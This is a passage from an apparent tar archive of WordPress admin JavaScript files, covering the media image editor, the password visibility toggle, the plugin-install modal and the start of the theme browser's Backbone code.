was `scale` or `restore`, the response does have a message. if ( response && response.data.message.msg ) { wp.a11y.speak( response.data.message.msg ); return; } if ( response && response.data.message.error ) { wp.a11y.speak( response.data.message.error ); } } ); }, /** * Stores the changes that are made to the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID to get the image from the database. * @param {string} nonce The nonce to verify the request. * * @return {boolean|void} If the actions are successfully saved a response message is shown. * Returns false if there is no image editing history, * thus there are not edit-actions performed on the image. */ save : function(postid, nonce) { var data, target = this.getTarget(postid), history = this.filterHistory(postid, 0), self = this; if ( '' === history ) { return false; } this.toggleEditor(postid, 1); data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid, 'history': history, 'target': target, 'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null, 'do': 'save' }; // Post the image edit data to the backend. $.post( ajaxurl, data, function( response ) { // If a response is returned, close the editor and show an error. if ( response.data.error ) { $( '#imgedit-response-' + postid ) .html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + response.data.error + '</p></div>' ); imageEdit.close(postid); wp.a11y.speak( response.data.error ); return; } if ( response.data.fw && response.data.fh ) { $( '#media-dims-' + postid ).html( response.data.fw + ' × ' + response.data.fh ); } if ( response.data.thumbnail ) { $( '.thumbnail', '#thumbnail-head-' + postid ).attr( 'src', '' + response.data.thumbnail ); } if ( response.data.msg ) { $( '#imgedit-response-' + postid ) .html( '<div class="notice notice-success" tabindex="-1" role="alert"><p>' + response.data.msg + '</p></div>' ); wp.a11y.speak( response.data.msg ); } if ( self._view ) { self._view.save(); } else { imageEdit.close(postid); } }); }, /** * Creates the image edit window. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID for the image. * @param {string} nonce The nonce to verify the request. * @param {Object} view The image editor view to be used for the editing. * * @return {void|promise} Either returns void if the button was already activated * or returns an instance of the image editor, wrapped in a promise. */ open : function( postid, nonce, view ) { this._view = view; var dfd, data, elem = $( '#image-editor-' + postid ), head = $( '#media-head-' + postid ), btn = $( '#imgedit-open-btn-' + postid ), spin = btn.siblings( '.spinner' ); /* * Instead of disabling the button, which causes a focus loss and makes screen * readers announce "unavailable", return if the button was already clicked. */ if ( btn.hasClass( 'button-activated' ) ) { return; } spin.addClass( 'is-active' ); data = { 'action': 'image-editor', '_ajax_nonce': nonce, 'postid': postid, 'do': 'open' }; dfd = $.ajax( { url: ajaxurl, type: 'post', data: data, beforeSend: function() { btn.addClass( 'button-activated' ); } } ).done( function( response ) { var errorMessage; if ( '-1' === response ) { errorMessage = __( 'Could not load the preview image.' ); elem.html( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); } if ( response.data && response.data.html ) { elem.html( response.data.html ); } head.fadeOut( 'fast', function() { elem.fadeIn( 'fast', function() { if ( errorMessage ) { $( document ).trigger( 'image-editor-ui-ready' ); } } ); btn.removeClass( 'button-activated' ); spin.removeClass( 'is-active' ); } ); // Initialize the Image Editor now that everything is ready. imageEdit.init( postid ); } ); return dfd; }, /** * Initializes the cropping tool and sets a default cropping selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {void} */ imgLoaded : function(postid) { var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid); // Ensure init has run even when directly loaded. if ( 'undefined' === typeof this.hold.sizer ) { this.init( postid ); } this.calculateImgSize( postid ); this.initCrop(postid, img, parent); this.setCropSelection( postid, { 'x1': 0, 'y1': 0, 'x2': 0, 'y2': 0, 'width': img.innerWidth(), 'height': img.innerHeight() } ); this.toggleEditor( postid, 0, true ); }, /** * Manages keyboard focus in the Image Editor user interface. * * @since 5.5.0 * * @return {void} */ focusManager: function() { /* * Editor is ready. Move focus to one of the admin alert notices displayed * after a user action or to the first focusable element. Since the DOM * update is pretty large, the timeout helps browsers update their * accessibility tree to better support assistive technologies. */ setTimeout( function() { var elementToSetFocusTo = $( '.notice[role="alert"]' ); if ( ! elementToSetFocusTo.length ) { elementToSetFocusTo = $( '.imgedit-wrap' ).find( ':tabbable:first' ); } elementToSetFocusTo.attr( 'tabindex', '-1' ).trigger( 'focus' ); }, 100 ); }, /** * Initializes the cropping tool. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {HTMLElement} image The preview image. * @param {HTMLElement} parent The preview image container. * * @return {void} */ initCrop : function(postid, image, parent) { var t = this, selW = $('#imgedit-sel-width-' + postid), selH = $('#imgedit-sel-height-' + postid), $image = $( image ), $img; // Already initialized? if ( $image.data( 'imgAreaSelect' ) ) { return; } t.iasapi = $image.imgAreaSelect({ parent: parent, instance: true, handles: true, keys: true, minWidth: 3, minHeight: 3, /** * Sets the CSS styles and binds events for locking the aspect ratio. * * @ignore * * @param {jQuery} img The preview image. */ onInit: function( img ) { // Ensure that the imgAreaSelect wrapper elements are position:absolute // (even if we're in a position:fixed modal). $img = $( img ); $img.next().css( 'position', 'absolute' ) .nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' ); /** * Binds mouse down event to the cropping container. * * @return {void} */ parent.children().on( 'mousedown touchstart', function(e) { var ratio = false, sel = t.iasapi.getSelection(), cx = t.intval( $( '#imgedit-crop-width-' + postid ).val() ), cy = t.intval( $( '#imgedit-crop-height-' + postid ).val() ); if ( cx && cy ) { ratio = t.getSelRatio( postid ); } else if ( e.shiftKey && sel && sel.width && sel.height ) { ratio = sel.width + ':' + sel.height; } t.iasapi.setOptions({ aspectRatio: ratio }); }); }, /** * Event triggered when starting a selection. * * @ignore * * @return {void} */ onSelectStart: function() { imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1); imageEdit.setDisabled($('.imgedit-crop-clear'), 1); imageEdit.setDisabled($('.imgedit-crop-apply'), 1); }, /** * Event triggered when the selection is ended. * * @ignore * * @param {Object} img jQuery object representing the image. * @param {Object} c The selection. * * @return {Object} */ onSelectEnd: function(img, c) { imageEdit.setCropSelection(postid, c); if ( ! $('#imgedit-crop > *').is(':visible') ) { imageEdit.toggleControls($('.imgedit-crop.button')); } }, /** * Event triggered when the selection changes. * * @ignore * * @param {Object} img jQuery object representing the image. * @param {Object} c The selection. * * @return {void} */ onSelectChange: function(img, c) { var sizer = imageEdit.hold.sizer, oldSel = imageEdit.currentCropSelection; if ( oldSel != null && oldSel.width == c.width && oldSel.height == c.height ) { return; } selW.val( Math.min( imageEdit.hold.w, imageEdit.round( c.width / sizer ) ) ); selH.val( Math.min( imageEdit.hold.h, imageEdit.round( c.height / sizer ) ) ); t.currentCropSelection = c; } }); }, /** * Stores the current crop selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {Object} c The selection. * * @return {boolean} */ setCropSelection : function(postid, c) { var sel, selW = $( '#imgedit-sel-width-' + postid ), selH = $( '#imgedit-sel-height-' + postid ), sizer = this.hold.sizer, hold = this.hold; c = c || 0; if ( !c || ( c.width < 3 && c.height < 3 ) ) { this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 ); this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 ); $('#imgedit-sel-width-' + postid).val(''); $('#imgedit-sel-height-' + postid).val(''); $('#imgedit-start-x-' + postid).val('0'); $('#imgedit-start-y-' + postid).val('0'); $('#imgedit-selection-' + postid).val(''); return false; } // adjust the selection within the bounds of the image on 100% scale var excessW = hold.w - ( Math.round( c.x1 / sizer ) + parseInt( selW.val() ) ); var excessH = hold.h - ( Math.round( c.y1 / sizer ) + parseInt( selH.val() ) ); var x = Math.round( c.x1 / sizer ) + Math.min( 0, excessW ); var y = Math.round( c.y1 / sizer ) + Math.min( 0, excessH ); // use 100% scaling to prevent rounding errors sel = { 'r': 1, 'x': x, 'y': y, 'w': selW.val(), 'h': selH.val() }; this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1); $('#imgedit-selection-' + postid).val( JSON.stringify(sel) ); }, /** * Closes the image editor. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {boolean} warn Warning message. * * @return {void|boolean} Returns false if there is a warning. */ close : function(postid, warn) { warn = warn || false; if ( warn && this.notsaved(postid) ) { return false; } this.iasapi = {}; this.hold = {}; // If we've loaded the editor in the context of a Media Modal, // then switch to the previous view, whatever that might have been. if ( this._view ){ this._view.back(); } // In case we are not accessing the image editor in the context of a View, // close the editor the old-school way. else { $('#image-editor-' + postid).fadeOut('fast', function() { $( '#media-head-' + postid ).fadeIn( 'fast', function() { // Move focus back to the Edit Image button. Runs also when saving. $( '#imgedit-open-btn-' + postid ).trigger( 'focus' ); }); $(this).empty(); }); } }, /** * Checks if the image edit history is saved. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {boolean} Returns true if the history is not saved. */ notsaved : function(postid) { var h = $('#imgedit-history-' + postid).val(), history = ( h !== '' ) ? JSON.parse(h) : [], pop = this.intval( $('#imgedit-undone-' + postid).val() ); if ( pop < history.length ) { if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) { return false; } return true; } return false; }, /** * Adds an image edit action to the history. * * @since 2.9.0 * * @memberof imageEdit * * @param {Object} op The original position. * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void} */ addStep : function(op, postid, nonce) { var t = this, elem = $('#imgedit-history-' + postid), history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [], undone = $( '#imgedit-undone-' + postid ), pop = t.intval( undone.val() ); while ( pop > 0 ) { history.pop(); pop--; } undone.val(0); // Reset. history.push(op); elem.val( JSON.stringify(history) ); t.refreshEditor(postid, nonce, function() { t.setDisabled($('#image-undo-' + postid), true); t.setDisabled($('#image-redo-' + postid), false); }); }, /** * Rotates the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {string} angle The angle the image is rotated with. * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target element. * * @return {boolean} */ rotate : function(angle, postid, nonce, t) { if ( $(t).hasClass('disabled') ) { return false; } this.closePopup(t); this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce); // Clear the selection fields after rotating. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); this.currentCropSelection = null; }, /** * Flips the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} axis The axle the image is flipped on. * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target element. * * @return {boolean} */ flip : function (axis, postid, nonce, t) { if ( $(t).hasClass('disabled') ) { return false; } this.closePopup(t); this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce); // Clear the selection fields after flipping. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); this.currentCropSelection = null; }, /** * Crops the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target object. * * @return {void|boolean} Returns false if the crop button is disabled. */ crop : function (postid, nonce, t) { var sel = $('#imgedit-selection-' + postid).val(), w = this.intval( $('#imgedit-sel-width-' + postid).val() ), h = this.intval( $('#imgedit-sel-height-' + postid).val() ); if ( $(t).hasClass('disabled') || sel === '' ) { return false; } sel = JSON.parse(sel); if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) { sel.fw = w; sel.fh = h; this.addStep({ 'c': sel }, postid, nonce); } // Clear the selection fields after cropping. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); $( '#imgedit-start-x-' + postid ).val( '0' ); $( '#imgedit-start-y-' + postid ).val( '0' ); this.currentCropSelection = null; }, /** * Undoes an image edit action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void|false} Returns false if the undo button is disabled. */ undo : function (postid, nonce) { var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid), pop = t.intval( elem.val() ) + 1; if ( button.hasClass('disabled') ) { return; } elem.val(pop); t.refreshEditor(postid, nonce, function() { var elem = $('#imgedit-history-' + postid), history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : []; t.setDisabled($('#image-redo-' + postid), true); t.setDisabled(button, pop < history.length); // When undo gets disabled, move focus to the redo button to avoid a focus loss. if ( history.length === pop ) { $( '#image-redo-' + postid ).trigger( 'focus' ); } }); }, /** * Reverts a undo action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void} */ redo : function(postid, nonce) { var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid), pop = t.intval( elem.val() ) - 1; if ( button.hasClass('disabled') ) { return; } elem.val(pop); t.refreshEditor(postid, nonce, function() { t.setDisabled($('#image-undo-' + postid), true); t.setDisabled(button, pop > 0); // When redo gets disabled, move focus to the undo button to avoid a focus loss. if ( 0 === pop ) { $( '#image-undo-' + postid ).trigger( 'focus' ); } }); }, /** * Sets the selection for the height and width in pixels. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {jQuery} el The element containing the values. * * @return {void|boolean} Returns false when the x or y value is lower than 1, * void when the value is not numeric or when the operation * is successful. */ setNumSelection : function( postid, el ) { var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid), elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid), xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ), x = this.intval( elX.val() ), y = this.intval( elY.val() ), img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(), sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi; this.currentCropSelection = null; if ( false === this.validateNumeric( el ) ) { return; } if ( x < 1 ) { elX.val(''); return false; } if ( y < 1 ) { elY.val(''); return false; } if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) { x2 = sel.x1 + Math.round( x * sizer ); y2 = sel.y1 + Math.round( y * sizer ); x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer ); y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer ); if ( x2 > imgw ) { x1 = 0; x2 = imgw; elX.val( Math.min( this.hold.w, Math.round( x2 / sizer ) ) ); } if ( y2 > imgh ) { y1 = 0; y2 = imgh; elY.val( Math.min( this.hold.h, Math.round( y2 / sizer ) ) ); } ias.setSelection( x1, y1, x2, y2 ); ias.update(); this.setCropSelection(postid, ias.getSelection()); this.currentCropSelection = ias.getSelection(); } }, /** * Rounds a number to a whole. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} num The number. * * @return {number} The number rounded to a whole number. */ round : function(num) { var s; num = Math.round(num); if ( this.hold.sizer > 0.6 ) { return num; } s = num.toString().slice(-1); if ( '1' === s ) { return num - 1; } else if ( '9' === s ) { return num + 1; } return num; }, /** * Sets a locked aspect ratio for the selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} n The ratio to set. * @param {jQuery} el The element containing the values. * * @return {void} */ setRatioSelection : function(postid, n, el) { var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ), y = this.intval( $('#imgedit-crop-height-' + postid).val() ), h = $('#image-preview-' + postid).height(); if ( false === this.validateNumeric( el ) ) { this.iasapi.setOptions({ aspectRatio: null }); return; } if ( x && y ) { this.iasapi.setOptions({ aspectRatio: x + ':' + y }); if ( sel = this.iasapi.getSelection(true) ) { r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) ); if ( r > h ) { r = h; var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' ); $( '#imgedit-crop-' + postid ) .prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); wp.a11y.speak( errorMessage, 'assertive' ); if ( n ) { $('#imgedit-crop-height-' + postid).val( '' ); } else { $('#imgedit-crop-width-' + postid).val( ''); } } else { var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' ); if ( 'undefined' !== typeof( error ) ) { error.remove(); } } this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r ); this.iasapi.update(); } } }, /** * Validates if a value in a jQuery.HTMLElement is numeric. * * @since 4.6.0 * * @memberof imageEdit * * @param {jQuery} el The html element. * * @return {void|boolean} Returns false if the value is not numeric, * void when it is. */ validateNumeric: function( el ) { if ( false === this.intval( $( el ).val() ) ) { $( el ).val( '' ); return false; } } }; })(jQuery); password-toggle.js 0000644 00000002473 15222552267 0010241 0 ustar 00 /** * Adds functionality for password visibility buttons to toggle between text and password input types. * * @since 6.3.0 * @output wp-admin/js/password-toggle.js */ ( function () { var toggleElements, status, input, icon, label, __ = wp.i18n.__; toggleElements = document.querySelectorAll( '.pwd-toggle' ); toggleElements.forEach( function (toggle) { toggle.classList.remove( 'hide-if-no-js' ); toggle.addEventListener( 'click', togglePassword ); } ); function togglePassword() { status = this.getAttribute( 'data-toggle' ); input = this.parentElement.children.namedItem( 'pwd' ); icon = this.getElementsByClassName( 'dashicons' )[ 0 ]; label = this.getElementsByClassName( 'text' )[ 0 ]; if ( 0 === parseInt( status, 10 ) ) { this.setAttribute( 'data-toggle', 1 ); this.setAttribute( 'aria-label', __( 'Hide password' ) ); input.setAttribute( 'type', 'text' ); label.innerHTML = __( 'Hide' ); icon.classList.remove( 'dashicons-visibility' ); icon.classList.add( 'dashicons-hidden' ); } else { this.setAttribute( 'data-toggle', 0 ); this.setAttribute( 'aria-label', __( 'Show password' ) ); input.setAttribute( 'type', 'password' ); label.innerHTML = __( 'Show' ); icon.classList.remove( 'dashicons-hidden' ); icon.classList.add( 'dashicons-visibility' ); } } } )(); plugin-install.min.js 0000644 00000004543 15222552267 0010644 0 ustar 00 /*! This file is auto-generated */ jQuery(function(e){var o,i,n,a,l,r=e(),s=e(".upload-view-toggle"),t=e(".wrap"),d=e(document.body);function c(){var t;n=e(":tabbable",i),a=o.find("#TB_closeWindowButton"),l=n.last(),(t=a.add(l)).off("keydown.wp-plugin-details"),t.on("keydown.wp-plugin-details",function(t){9===(t=t).which&&(l[0]!==t.target||t.shiftKey?a[0]===t.target&&t.shiftKey&&(t.preventDefault(),l.trigger("focus")):(t.preventDefault(),a.trigger("focus")))})}window.tb_position=function(){var t=e(window).width(),i=e(window).height()-(792<t?60:20),n=792<t?772:t-20;return(o=e("#TB_window")).length&&(o.width(n).height(i),e("#TB_iframeContent").width(n).height(i),o.css({"margin-left":"-"+parseInt(n/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&o.css({top:"30px","margin-top":"0"}),e("a.thickbox").each(function(){var t=e(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).replace(/&height=[0-9]+/g,""),e(this).attr("href",t+"&width="+n+"&height="+i))})},e(window).on("resize",function(){tb_position()}),d.on("thickbox:iframe:loaded",o,function(){var t;o.hasClass("plugin-details-modal")&&(t=o.find("#TB_iframeContent"),i=t.contents().find("body"),c(),a.trigger("focus"),e("#plugin-information-tabs a",i).on("click",function(){c()}),i.on("keydown",function(t){27===t.which&&tb_remove()}))}).on("thickbox:removed",function(){r.trigger("focus")}),e(".wrap").on("click",".thickbox.open-plugin-details-modal",function(t){var i=e(this).data("title")?wp.i18n.sprintf(wp.i18n.__("Plugin: %s"),e(this).data("title")):wp.i18n.__("Plugin details");t.preventDefault(),t.stopPropagation(),r=e(this),tb_click.call(this),o.attr({role:"dialog","aria-label":wp.i18n.__("Plugin details")}).addClass("plugin-details-modal"),o.find("#TB_iframeContent").attr("title",i)}),e("#plugin-information-tabs a").on("click",function(t){var i=e(this).attr("name");t.preventDefault(),e("#plugin-information-tabs a.current").removeClass("current"),e(this).addClass("current"),"description"!==i&&e(window).width()<772?e("#plugin-information-content").find(".fyi").hide():e("#plugin-information-content").find(".fyi").show(),e("#section-holder div.section").hide(),e("#section-"+i).show()}),t.hasClass("plugin-install-tab-upload")||s.attr({role:"button","aria-expanded":"false"}).on("click",function(t){t.preventDefault(),d.toggleClass("show-upload-view"),s.attr("aria-expanded",d.hasClass("show-upload-view"))})}); theme.js 0000644 00000155707 15222552267 0006233 0 ustar 00 /** * @output wp-admin/js/theme.js */ /* global _wpThemeSettings, confirm, tb_position */ window.wp = window.wp || {}; ( function($) { // Set up our namespace... var themes, l10n; themes = wp.themes = wp.themes || {}; // Store the theme data and settings for organized and quick access. // themes.data.settings, themes.data.themes, themes.data.l10n. themes.data = _wpThemeSettings; l10n = themes.data.l10n; // Shortcut for isInstall check. themes.isInstall = !! themes.data.settings.isInstall; // Setup app structure. _.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template }); themes.Model = Backbone.Model.extend({ // Adds attributes to the default data coming through the .org themes api. // Map `id` to `slug` for shared code. initialize: function() { var description; if ( this.get( 'slug' ) ) { // If the theme is already installed, set an attribute. if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) { this.set({ installed: true }); } // If the theme is active, set an attribute. if ( themes.data.activeTheme === this.get( 'slug' ) ) { this.set({ active: true }); } } // Set the attributes. this.set({ // `slug` is for installation, `id` is for existing. id: this.get( 'slug' ) || this.get( 'id' ) }); // Map `section.description` to `description` // as the API sometimes returns it differently. if ( this.has( 'sections' ) ) { description = this.get( 'sections' ).description; this.set({ description: description }); } } }); // Main view controller for themes.php. // Unifies and renders all available views. themes.view.Appearance = wp.Backbone.View.extend({ el: '#wpbody-content .wrap .theme-browser', window: $( window ), // Pagination instance. page: 0, // Sets up a throttler for binding to 'scroll'. initialize: function( options ) { // Scroller checks how far the scroll position is. _.bindAll( this, 'scroller' ); this.SearchView = options.SearchView ? options.SearchView : themes.view.Search; // Bind to the scroll event and throttle // the results from this.scroller. this.window.on( 'scroll', _.throttle( this.scroller, 300 ) ); }, // Main render control. render: function() { // Setup the main theme view // with the current theme collection. this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Render search form. this.search(); this.$el.removeClass( 'search-loading' ); // Render and append. this.view.render(); this.$el.empty().append( this.view.el ).addClass( 'rendered' ); }, // Defines search element container. searchContainer: $( '.search-form' ), // Search input and view // for current theme collection. search: function() { var view, self = this; // Don't render the search if there is only one theme. if ( themes.data.themes.length === 1 ) { return; } view = new this.SearchView({ collection: self.collection, parent: this }); self.SearchView = view; // Render and append after screen title. view.render(); this.searchContainer .find( '.search-box' ) .append( $.parseHTML( '<label for="wp-filter-search-input">' + l10n.search + '</label>' ) ) .append( view.el ); this.searchContainer.on( 'submit', function( event ) { event.preventDefault(); }); }, // Checks when the user gets close to the bottom // of the mage and triggers a theme:scroll event. scroller: function() { var self = this, bottom, threshold; bottom = this.window.scrollTop() + self.window.height(); threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height(); threshold = Math.round( threshold * 0.9 ); if ( bottom > threshold ) { this.trigger( 'theme:scroll' ); } } }); // Set up the Collection for our theme data. // @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ... themes.Collection = Backbone.Collection.extend({ model: themes.Model, // Search terms. terms: '', // Controls searching on the current theme collection // and triggers an update event. doSearch: function( value ) { // Don't do anything if we've already done this search. // Useful because the Search handler fires multiple times per keystroke. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; // If we have terms, run a search... if ( this.terms.length > 0 ) { this.search( this.terms ); } // If search is blank, show all themes. // Useful for resetting the views when you clean the input. if ( this.terms === '' ) { this.reset( themes.data.themes ); $( 'body' ).removeClass( 'no-results' ); } // Trigger a 'themes:update' event. this.trigger( 'themes:update' ); }, /** * Performs a search within the collection. * * @uses RegExp */ search: function( term ) { var match, results, haystack, name, description, author; // Start with a full collection. this.reset( themes.data.themes, { silent: true } ); // Trim the term. term = term.trim(); // Escape the term string for RegExp meta characters. term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' ); // Consider spaces as word delimiters and match the whole string // so matching terms can be combined. term = term.replace( / /g, ')(?=.*' ); match = new RegExp( '^(?=.*' + term + ').+', 'i' ); // Find results. // _.filter() and .test(). results = this.filter( function( data ) { name = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' ); description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' ); author = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' ); haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] ); if ( match.test( data.get( 'author' ) ) && term.length > 2 ) { data.set( 'displayAuthor', true ); } return match.test( haystack ); }); if ( results.length === 0 ) { this.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } this.reset( results ); }, // Paginates the collection with a helper method // that slices the collection. paginate: function( instance ) { var collection = this; instance = instance || 0; // Themes per instance are set at 20. collection = _( collection.rest( 20 * instance ) ); collection = _( collection.first( 20 ) ); return collection; }, count: false, /* * Handles requests for more themes and caches results. * * * When we are missing a cache object we fire an apiCall() * which triggers events of `query:success` or `query:fail`. */ query: function( request ) { /** * @static * @type Array */ var queries = this.queries, self = this, query, isPaginated, count; // Store current query request args // for later use with the event `theme:end`. this.currentQuery.request = request; // Search the query cache for matches. query = _.find( queries, function( query ) { return _.isEqual( query.request, request ); }); // If the request matches the stored currentQuery.request // it means we have a paginated request. isPaginated = _.has( request, 'page' ); // Reset the internal api page counter for non-paginated queries. if ( ! isPaginated ) { this.currentQuery.page = 1; } // Otherwise, send a new API call and add it to the cache. if ( ! query && ! isPaginated ) { query = this.apiCall( request ).done( function( data ) { // Update the collection with the queried data. if ( data.themes ) { self.reset( data.themes ); count = data.info.results; // Store the results and the query request. queries.push( { themes: data.themes, request: request, total: count } ); } // Trigger a collection refresh event // and a `query:success` event with a `count` argument. self.trigger( 'themes:update' ); self.trigger( 'query:success', count ); if ( data.themes && data.themes.length === 0 ) { self.trigger( 'query:empty' ); } }).fail( function() { self.trigger( 'query:fail' ); }); } else { // If it's a paginated request we need to fetch more themes... if ( isPaginated ) { return this.apiCall( request, isPaginated ).done( function( data ) { // Add the new themes to the current collection. // @todo Update counter. self.add( data.themes ); self.trigger( 'query:success' ); // We are done loading themes for now. self.loadingThemes = false; }).fail( function() { self.trigger( 'query:fail' ); }); } if ( query.themes.length === 0 ) { self.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } // Only trigger an update event since we already have the themes // on our cached object. if ( _.isNumber( query.total ) ) { this.count = query.total; } this.reset( query.themes ); if ( ! query.total ) { this.count = this.length; } this.trigger( 'themes:update' ); this.trigger( 'query:success', this.count ); } }, // Local cache array for API queries. queries: [], // Keep track of current query so we can handle pagination. currentQuery: { page: 1, request: {} }, // Send request to api.wordpress.org/themes. apiCall: function( request, paginated ) { return wp.ajax.send( 'query-themes', { data: { // Request data. request: _.extend({ per_page: 100 }, request) }, beforeSend: function() { if ( ! paginated ) { // Spin it. $( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' ); } } }); }, // Static status controller for when we are loading themes. loadingThemes: false }); // This is the view that controls each theme item // that will be displayed on the screen. themes.view.Theme = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element. className: 'theme', // Reflects which theme view we have. // 'grid' (default) or 'detail'. state: 'grid', // The HTML template for each element to be rendered. html: themes.template( 'theme' ), events: { 'click': themes.isInstall ? 'preview': 'expand', 'keydown': themes.isInstall ? 'preview': 'expand', 'touchend': themes.isInstall ? 'preview': 'expand', 'keyup': 'addFocus', 'touchmove': 'preventExpand', 'click .theme-install': 'installTheme', 'click .update-message': 'updateTheme' }, touchDrag: false, initialize: function() { this.model.on( 'change', this.render, this ); }, render: function() { var data = this.model.toJSON(); // Render themes using the html template. this.$el.html( this.html( data ) ).attr( 'data-slug', data.id ); // Renders active theme styles. this.activeTheme(); if ( this.model.get( 'displayAuthor' ) ) { this.$el.addClass( 'display-author' ); } }, // Adds a class to the currently active theme // and to the overlay in detailed view mode. activeTheme: function() { if ( this.model.get( 'active' ) ) { this.$el.addClass( 'active' ); } }, // Add class of focus to the theme we are focused on. addFocus: function() { var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme'); $('.theme.focus').removeClass('focus'); $themeToFocus.addClass('focus'); }, // Single theme overlay screen. // It's shown when clicking a theme. expand: function( event ) { var self = this; event = event || window.event; // 'Enter' and 'Space' keys expand the details view when a theme is :focused. if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Bail if the user scrolled on a touch device. if ( this.touchDrag === true ) { return this.touchDrag = false; } // Prevent the modal from showing when the user clicks // one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a' ) ) { return; } // Prevent the modal from showing when the user clicks one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) { return; } // Set focused theme to current element. themes.focusedTheme = this.$el; this.trigger( 'theme:expand', self.model.cid ); }, preventExpand: function() { this.touchDrag = true; }, preview: function( event ) { var self = this, current, preview; event = event || window.event; // Bail if the user scrolled on a touch device. if ( this.touchDrag === true ) { return this.touchDrag = false; } // Allow direct link path to installing a theme. if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) { return; } // 'Enter' and 'Space' keys expand the details view when a theme is :focused. if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Pressing Enter while focused on the buttons shouldn't open the preview. if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) { return; } event.preventDefault(); event = event || window.event; // Set focus to current theme. themes.focusedTheme = this.$el; // Construct a new Preview view. themes.preview = preview = new themes.view.Preview({ model: this.model }); // Render the view and append it. preview.render(); this.setNavButtonsState(); // Hide previous/next navigation if there is only one theme. if ( this.model.collection.length === 1 ) { 